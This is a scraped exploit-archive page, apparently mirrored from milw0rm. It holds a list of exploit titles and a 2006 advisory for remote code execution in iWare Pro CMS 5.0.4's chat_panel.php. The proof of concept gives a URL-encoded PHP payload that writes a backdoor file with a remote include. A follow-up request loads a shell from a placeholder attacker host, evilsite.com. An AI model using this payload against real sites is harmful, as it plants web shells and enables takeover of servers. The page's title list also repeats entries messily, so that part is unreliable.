477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
36 lines
2.3 KiB
Text
Executable file
36 lines
2.3 KiB
Text
Executable file
+-------------------------------------------------------------------------------------------
|
|
+ iWare Pro <= 5.0.4 (chat_panel.php) Remote Code Execution Vulnerability
|
|
+-------------------------------------------------------------------------------------------
|
|
+ Affected Software .: iWare Professional CMS <= 5.0.4
|
|
+ Vendor ............: http://www.dsiware.com/
|
|
+ Download ..........: http://dsiware.com/download.php
|
|
+ Description .......: "iWare is a Open Source PHP & MySQL Content Management System"
|
|
+ Class .............: Remote Code Execution
|
|
+ Risk ..............: High (Remote Code Execution)
|
|
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
|
|
+-------------------------------------------------------------------------------------------
|
|
+ Details:
|
|
+ iWare admin/mods/simplechat_1.0.0/chat_panel.php does not sanatize the $message variable
|
|
+ in the first argument of the PostMessage() function on line 11 before writing the variable
|
|
+ contents to chat_log.php on line 25. When chat_panel.php is requested, the PostMessage()
|
|
+ function is called on line 32 and $_REQUEST['msg'] is written to chat_log.php unsanatized.
|
|
+
|
|
+ Vulnerable Code:
|
|
+ admin/mods/simplechat_1.0.0/chat_panel.php, line(s) 11-32:
|
|
+ -> 11: function PostMessage($message) {
|
|
+ -> 16: $new_message = "".$message."<br />\n";
|
|
+ -> 23: $open_file = fopen("chat_log.php", "w");
|
|
+ -> 25: fputs($open_file, stripslashes($new_message));
|
|
+ -> 28: fclose($open_file);
|
|
+ -> 29: }
|
|
+ -> 32: if($_REQUEST['talk']==1){PostMessage($_REQUEST['msg']);}
|
|
+
|
|
+ Proof Of Concept:
|
|
+ http://[target]/[path]/admin/mods/simplechat_1.0.0/chat_panel.php?talk=1&msg=[evilcode]
|
|
+ http://[target]/[path]/admin/mods/simplechat_1.0.0/chat_log.php
|
|
+ -> http://[target]/[path]/admin/mods/simplechat_1.0.0/chat_panel.php?talk=1&msg=%3C%3Fphp%0D%0A%24open_file+%3D+fopen%28%22..%2F..%2F..%2Fevilfile.php%22%2C+%22w%22%29%3B%0D%0Afputs%28%24open_file%2C%22%3C%3Fphp+include%28%5C%24_GET%5B%27evil_include%27%5D%29%3B+%3F%3E%22%29%3B%0D%0Afclose%28%24open_file%29%3B%0D%0Achmod%28%22..%2F..%2F..%2Fevilfile.php%22%2C0777%29%3B%0D%0A%3F%3E
|
|
+ -> http://[target]/[path]/admin/mods/simplechat_1.0.0/chat_log.php
|
|
+ -> http://[target]/[path]/evilfile.php?evil_include=http://evilsite.com/shell.php
|
|
+-------------------------------------------------------------------------------------------
|
|
|
|
# milw0rm.com [2006-11-07]
|